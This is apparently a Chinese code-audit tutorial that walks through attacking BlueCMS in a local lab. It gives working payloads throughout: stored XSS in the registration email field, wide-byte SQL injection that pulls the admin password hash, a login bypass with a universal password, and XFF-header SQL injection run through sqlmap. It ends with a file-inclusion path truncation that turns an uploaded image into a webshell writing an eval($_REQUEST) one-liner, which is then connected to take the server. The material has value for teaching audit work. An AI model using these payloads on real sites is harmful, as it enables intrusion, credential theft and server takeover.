10.1 代码审计(上)
10.1.1 脑图

10.1.2 学习代码审计的步骤
1.看文章,关于代码审计漏洞的文章且复现
2.看cnvd,看cnvd公示的某cms存在xxx漏洞,然后复现
3.自行挖掘,先灰盒,在定位,再通读
10.1.3 常见审查点
1.安装模块
重复安装可破环网站:
首先我们安装一个cms,如果网站的安装界面能够访问到。那么我们就可以重装掉网站,那么就是漏洞了 /install。
重复安装可进入后台:
如果是站库分离我们可以,我们可以将网站的数据库外链到我们的数据库上,从而可以自定义账号密码,以达到进入后台的目的。
这里我们通过白盒查看源文件可以看到,这里我们可以通过自在输入来对文件进行更改,我们可以将双引号闭合并且重新写入信息。

这里我们写入之后,发现后台文件确实发生了改变,但前台并没有执行phpinfo();,于是我们回头再去看源文件发现是我们所写的双引号被加上了一个\转义了。

那么这里我们使用什么办法呢?
这里我可以去代码审计查看这个\是怎么产生的
我们可以使用一些骚姿势来进行代码执行。
这里就涉及到我们的双引号解析漏洞:
在双引号中倘若有${}出现,那么{}内的内容将被当做代码块来执行。

于是这时候我们利用双引号解析姿势写入马发现还是没有用处。

于是我们调节了分号的位置换了执行的函数,不使用eval,使用文章中的assert发现还是不行.
那到底是什么原因呢。
后来才知道,这个双引号解析是有条件的,要求是php5.5以上的版本才能实现。
于是我们将php版本调节到5.5以上就可以了.

2.前台模块
2.1 注册模块
2.1.1 xss
看到注册的点,首先我们来注册一个账号,看看情况。


这里我们发现我们所提交的数据,被提交到了user.php.
referer=&user_name=admin123&pwd=admin123&pwd1=admin123&email=375191784%40qq.com&safecode=4rij&from=&act=do_reg
这里我们发现黄色的数据都是我们在注册表单中填写的,唯独这个act=do_reg是系统为我们添加的,这个act代表这一个选择我们要去哪个模块的标识。
这里我们查找一下act=do_reg来进行定位,发现了满足act=do_reg条件时,会进入赋值的阶段,再赋值后进行判断阶段,最后进行插入数据库。

我们可以发现对email这块的信息几乎没有拦截,于是我们可以打入一波xss尝试一下。

因为这里我们直接在注册时写入弹框,会被拦截,可以看出这是一个前端拦截,所以我们进行抓包以后在进行写入弹框,在email处写入,可见弹框成功。说明这里存在xss漏洞。


这里我们想去后台看一看会不会被前台打入的弹窗威胁,但是当我们登陆今后台的时候发现报了好多错。

于是我们去百度查看一下,百度方法为
搜索php.ini:
error_reporting = E_ALL
改为:
error_reporting = E_ALL & ~E_NOTICE
于是我们重新访问发现,访问成功了。

当我们访问会员列表发现后台也成功弹窗。

这里则说明我们可以通过前台将xss打到后台。
2.1.2 sql注入
这里我们发现emai对sql注入也没有过滤,于是我们进行尝试一下。
我们在注册的地方先写入一些敏感符号【单双引号,括号,#号等】,进行探测,看是否存在问题。

我们发现这里写入之后并没有起到效果,而是原样输出的。所以我们这里需要思考一下为什么。
很明显代码里没有过滤。

于是我们要想看到我们写入的敏感字符,到底经历了什么,我们时使用代码审计工具的数据库监测工具进行监测。下断之后开始发数据包,然后进行更新。我们可以看到这样一行数据。
INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'admin1234567', md5('admin1234567'), '3751917\'\")#84@qq.com', '1595321062', '1595321062')
于是我们可以发现我们写入的单双引号都被加上了\,这说明这里存在魔术引号呀。
那既然存在魔术引号我们怎么办呢,宽字节注入啊。

于是我们尝试使用宽字节注入进行突破,我们进行抓包改包,因为这里是典型的post注入,我们没有办法直接使用%df,所以我们可以使用直接写入汉字的方式突破,可是这里我们发现我们无法写入汉字,那怎么办呢,我们只能修改hex值了。
这里我们抓取一个数据包如下,在邮箱中写入aa’,然后去修改hex值。

这里我们将单引号(hex为27)之前的61(即字母a)修改成df,然后放包即可。

然后我们放包之后发现这里报错了,那么就能说明这里是有问题的,是存在sql注入的。

然后这里我们尝试来进行一下sql注入,这里很明显没有回显点,所以我们可以来尝试一下报错注入,或者是盲注.
因为盲注有些复杂,所以我们来尝试一下报错注入。那么我们如何来拼接语句呢,我们将刚才的数据库监控的语句复制下来,进行拼接。
2020/7/21 17:21INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'cccccc', md5('cccccc'), '375191784@qq.com', '1595323301', '1595323301')
我们接下来可以分析我们打入sql语句的地方肯定是在email的地方,因为后边还有两个数据所以我们需要先将其补全,并将原有的数据注释。
INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'jiang1234', md5('jiang1234'), '37519
'or Updatexml(1,concat(0x7e,(select database())),1),1,1)#

可见这里我们将该语句填入数据库,是可以爆出数据库名的。但是同样的语句我们放入数据包,去cms实验就会报错。

这说明这里有一些bluecms本身自带的防护,很多情况数据库的报错都不在前台显示出来。我们这里如果使用盲注将极其麻烦,因为这里还涉及一个验证码的问题,所以这里我们引入一个新姿势。
新姿势
很多数据库是可以一次插入多条数据的,那么我们这里可不可以呢,我们来尝试一下。
我们依旧是使用这条语句来构造payload。
INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'admin123', md5('admin123'), '375191784@qq.com', '1595323301', '1595323301')
我们依旧是在email之后做手脚,因为这里没有任何过滤。
INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'admin123', md5('admin12345'), '3751917a',1,1),(111,0x6a69616e67,md5(123456),(select database()),1,1)#4@qq.com', '1595323301', '1595323301')

如上黄色的部分是我们自己构造的,所利用的原理就是数据库insert可以同时插入多条数据,同时我们补全第一个admin123用户的数据,a’作为修改宽字节的标识,然后在添加一个0x6a69616e67(jiang)用户,为了向当时的宽字节注入一样我们需要避免单引号,我们使用十六进制代替,在多插入的用户的email处打上sql语句,select database(),因为这里没有做过滤,所以当语句打入成功时,我们看到注册成功界面,我们去数据库中查看一共插入了两个用户,一个是正常被插入的admin123,还有一个是我们为了完成sql注入而插入的jiang,当我们在数据库中查看的时候可以看到他的email处显示的是我们的数据库名bluecms。


当我们登录注入用户jiang时我们将会发现,前台显示的email处也是bluecms,可见我们的注入是有效果的。

当我们发现此方法注入是有效果时我们可以直接了当的通过注入来获取一下管理员密码。
同样还是使用这条语句来构建payload。
INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'admin123', md5('admin12345'), '3751917a',1,1),(1111,0x6a69616e6774616f3131,md5(123456),(select pwd from blue_admin limit 0,1),1,1)#4@qq.com', '1595323301', '1595323301')

构造payload如上述语句,a’用来方便使用宽字节,然后填充插入第一条的数据,然后从新插入一条语句,填充数据,在email处打入sql语句,查询admin用户的密码,根据数据库表结构可写出sql注入语句#用来注入后边的语句。
黄色部分整体是插入的第二个用户的信息的语句。



这样一来我们是可以看到我们注册的账号在email处打入的sql语句生效了成功查询到了管理员的密码。并写入了emai处,所以我们只要登录jiang44的账号便可查看到管理员密码。
21232f297a57a5a743894a0e4a801fc3 md5解密 ==>admin

切记,该sql注入这里只能查看admin表无法查看user表。


登录宽字节+万能密码
寻找完注册,我们来寻找一下登陆处,我们来看看登陆处的地方对账号密码的处理。


SELECT COUNT(*) AS num FROM blue_user WHERE user_name='jiang22' and pwd=md5('\'s##\'')
这里我们可以看出,在抓包的时候,密码做了一次url编码,而且传入数据库的时候还在md5(‘’)的括号中。
所以我们要想实现万能密码首先要使用宽字节闭合单引号与括号。
那么我们构造万能密码如下:
因为这里又url编码所以我可以将其当作url栏,不用再修改hex,直接使用%df即可。
a') or 1=1#
这里我们要切记在抓包之后将a修改为%df,而不要在登陆的时候直接写入%df,这样%df会被编码成%25%df就无法达到宽字节的效果了。(这里又一波url编码的过程所以我们直接改就好,不用修改hex)


这样一来我们再前台找到了,注册xss,sql注入,登录宽字节弱密码的漏洞。
注册时验证码总是错误,无线过期,实则是session的问题,修改php.ini文件1117行,将save_path改为存在的路径。H改C

这样后台就没有报错了。

然后我们思考一下,这里前台的登录存在万能密码,后台的登陆是否也存在呢?
后台模块
3.1 登录模块
后台登录万能密码+宽字节
这里我们登陆一下,输入万能密码。

然后发现这里也存在一次url的编码。

然后我们在这里打入一个%df,尝试一下宽字节。

然后我们发现果然登录成功了,说明后台登录也存在宽字节,万能密码。
印证了一个事实,当网站一个网页存在sql注入的时候,可能很多页面都存在sql注入。


3.2 后台管理模块
数据库文件-信息泄露
这里我们来到后台管理模块,我们发现底部有一个数据库备份还原,我们备份一份数据库文件

我们发现备份成功以后是以备份时间命名的,因为网站在我们自己手上,我们尝试取服务器上寻找一下。

可见我们在服务器上确实寻找到了,我们赋值其路径尝试我们在网站前台能不能访问到。可见这里我们访问到了数据库备份文件,这里不是典型的信息泄露吗?

这里又给我们一个新的思路,如果网站从2019年到今天那么我们可以弄一个字典,对目录进行跑包,万一哪个sql文件被发现了呢。
3.3 继续审计
现在我们假设,如果数据库编码是UTF-8,那么我们就用不了宽字节了,应该怎么办呢?
我们使用宽字节无非是想要突破魔术引号,但是魔术引号的核心是什么?
magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。
当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线\进行转义。这和 addslashes() 作用完全相同。
所以综上所述我们不难看出魔术引号支队http请求数据中的(GET,POST 和 COOKIE)有效。
那我们去获取http请求头不就好了吗。
我们可以看出我们在接收get传参时,所用’” \都被加上了\转义了。


那这个时候我们换了,我们用$_SERVER[HTTP_USER_AGENT]接收变量。


这时我们抓包修改传参看是否还是会被魔术引号处理,在USER-AGENT处传参敏感字符\\\ ‘’ “””””””,然后放包,发现确实没有处理,字符都没有变化。这里我们可以进一步确定魔术引号对请求头传参不做过滤。


然后我们进入代码审计系统去定位一下$_SERVER,然后我们发现了$ip,这里我们看见$ip本能的想到的就是XFF,我们看看他们使用否有关系。

然后我们点进来发现确实这一段代码和之前学的那一段一模一样。

见到这段代码我们可以知道我们只要找到这个界面就还可以通过xff向其传参。但是这段代码起作用的地方在哪里呢。
我们再来搜索一下。
因为这代码一定要和数据库交互才能发挥作用
然后这里我们定位到getip,发现这里有一处都是SQL语句的地方,而且没有在admin文件夹内,可见这功能应该不在后台。

文件名为comment.php不在后台,说明是个前台功能模块。

我们访问了一下comment.php,界面确是空的

然后这里我们经过页面功能的发现,查找到了这个界面的评论功能,正常就是这个地方使用之前那段获取ip的代码,因为评论的时候有匿名评论,若想确定用户只能通过ip。

这里我们发现我们提交的数据配提交到了send。

可见这里我们的动作叫做act=send,然后我们进行一下位,发现了send,对我们发出的comment变量做了处理。
处理如下:
htmlspecialchars($_POST['comment']) 这个意思是html实体化编码,如果这样的话我的xss貌似就没用作用了。

这里我们在前台审查元素发现我们的尖括号已经被转码了。
但是单双引号并没有被转码。
经过多次实验发现只有<>尖括号被过滤了。
如果尖括号被过滤了我们可以尝试用事件型去触发xss


这里是一个匿名评论,一般都会获取ip,因为匿名评论没有用户名,只能通过ip来进行记录。那么既然获取ip这里我们可不可以通过xff来往成一个sql注入呢?
这里我们用书据库监控软件来获取一条评论内容插入数据库的语句。
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '1', '0', '1', '6', 'adsf', '1595817523', '192.168.32.1', '1')

然后这里我们查看其源码,发现其并没有对ip进行过滤,所以我们尝试使用xff对其进行sql注入。
这里我们获取一个评论的数据包,然后返现他没有xff,那我们只能自己添加一个了。

然后我们查看上面的insert的sql语句,并对其进行构造。
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '1', '0', '1', '6', 'adsf', '1595817523', '192.168.32.1', '1')
构造语句:
' and updatexml(1,concat(0x7e,(select database())),1),1)#
我们将构造的语句在数据包中添加一个X-Forwarded-For,然后在后边插入我们的sql语句,对其进行探测。

然后我们对其放包发现虽然没有什么回显,但是报错了,那么我们可以抓包对其进行一下sqlmap的探测。

X-Forwarded-For: 1'*,1)#
切记我们这里使用sqlmap,如果不对其进行闭合是跑不出来的,一定要对其进行闭合,并将星号打在合适的地方。才能跑出来。

可见这里是可以跑出来的,如果不行,就调高等级。



然后这里我们想要的数据都能跑出来啦,可见这个sql注入还是很有效的。
3.4 最后一个漏洞-前台getshell带走服务器
最后一个漏洞,我们来尝试一下文件包含,这里我们来搜寻一下敏感函数,文件包含的敏感函数(如include).

从上图中,我们可见很多敏感函数,但是我们在搜寻敏感函数的时候有几个注意点:
我们在搜寻时一般admin开头的文件中的东西include先不要看,因为admin文件需要一定的权限才能访问到。
写死的include不要看,因为那样的include包含的东西我们没有办法控制。
include 'include/payment/'.$_POST['pay']."/index.php";
只有像上述这样的所包含的东西带着传参的,我们才有可能控制,并加以利用。

我们通过源码的上下文,可以看出这是一个支付的模块,所以我们下去支付模块看一看。


我们进行支付的时候发现这里提示我们没有选择支付方式,我们进了后台发现也无法设置支付方式。

而且我们通过观察源码可以发现我们这里如果没有支付方式,提交时会报错了的,那我们就进行不下去了,那怎么办呢。
没有支付方式我们就在提交的数据包里自己添加一个支付方式呗,而且我们知道参数时pay,传参方式为post


我们发现放包之后也没报错了。
但是我们发现访问的页面时空的,这时候我们怎么办,于是我们在源码中找到此界面。我们在那句包含的语句下将包含的路径输出。

然后我们在放包发现我们的pay传参什么哪个路径就输出什么。

那么现在问题来了,我们怎么利用呢,我们先按着原来的路径写一个文件看看它是否能够包含成功。
可见这里我们在该路径下写入了index.php,文件包含成功了,我写入的phpinfo();包含生效了,说明这里是可以文件包含的,接下来就要看我们怎样能控制其包含的文件了。

因为这里的路径有一点限制,index.php已经写死了,我们要想让其包含我们写入的文件就得让其最后的index.php失效才行.
include/payment/123456789/index.php
这里就涉及到了一个windows路径长度限制了(不能超过256个字符)。
因为我们能控制的地方只有123456789这个点,pay传参这个点。
因为加点和空格都是会被去除的,所以最后点后边的路径也会被去除。
Include包含的长度是有限制的,我们不可以让其包含太长的文件,我们可以以此特点来对其后边的文件进行一个截断。
include/payment/123456789.txt...............................................................................................................................................................
/index.php
Pay =../../../1.txt..........................................................................
但是截断的方法只有在php 5.2的版本是可以的,5.3以上所有截断几乎都不能用了。
所以这里我们来尝试一下,我们首先在include的目录下留一个1.txt文件。


然后我们对pay传参../表示从当前文件夹跳出,通过写入多个.........来对1.txt传参后的文件进行截断
包含1.txt文件,由于文件包含的特性我们知道什么文件都会被当成php文件解析。
这里可见我们包含文件成功了,接下来我们就是考虑如何写入shell,那服务器了。
那首先我们看到这个上传头像的位置,那么我们首先想上一张图片马试一试。

然后我们查看其路径:
192.168.32.134/data/upload/face_pic/15958309285.jpg
在data目录下,data目录与include同级,所以我们再来进行包含一下。
传参如下
&pay=../../upload/face_pic/15958309285.jpg..............................................................................................................................................................................................................................................
于是我们可见这里图片马解析成功了。

POST /user.php?act=pay&a=phpinfo();
图片马解析之后,我们对其在传参a=phpinfo();发现执行册成功。
但是这里我们不能直接连接菜刀,因为没有cookie。

所以这里我们要自己写一个生成一句话木马的php文件。
&a=file_put_contents('8.php','<?php eval($_REQUEST[a])?>')
这里我们传参之后发现文件8.php并没有生成


这里是为什么呢,是我们的传参有问题吗,php代码有问题吗,所以这里我们,我们在源码中的刚才输出的位置在添加一句,将传参a也输出,看一下为什么我们传参的写马写不上。

这里我们加上输出传参a的语句可以看到,这里我们传参的写马的php代码被魔术引号处理了,单引号全部进行了转义。
我们一提到魔术引号我们就会联想到宽字节,16进制,但是都不行,那些都是应用于sql注入的,都是用于mysql数据库的方法,而我们这里只有php,所以是没有用处的。

这里我们可以这样搞,我们可以再上传文件的时候直接就上传一额写马的图片马,这样一来要图片马一解析直接就又生成的一句话木马了。
所以我们这里制作了一个生成马的木马。


我们将其作为头像上传之后,修改文件包含的路径,截断,然后将其解析。

此时当我们再去搜索8.php就生成了。

这里我们看见马已经生成了
然后我们去访问8.php传参phpinfo()已经生效了。

然后我们连菜刀,发现菜刀好像链接有问题了。

于是我们换一个菜刀连接成功了。
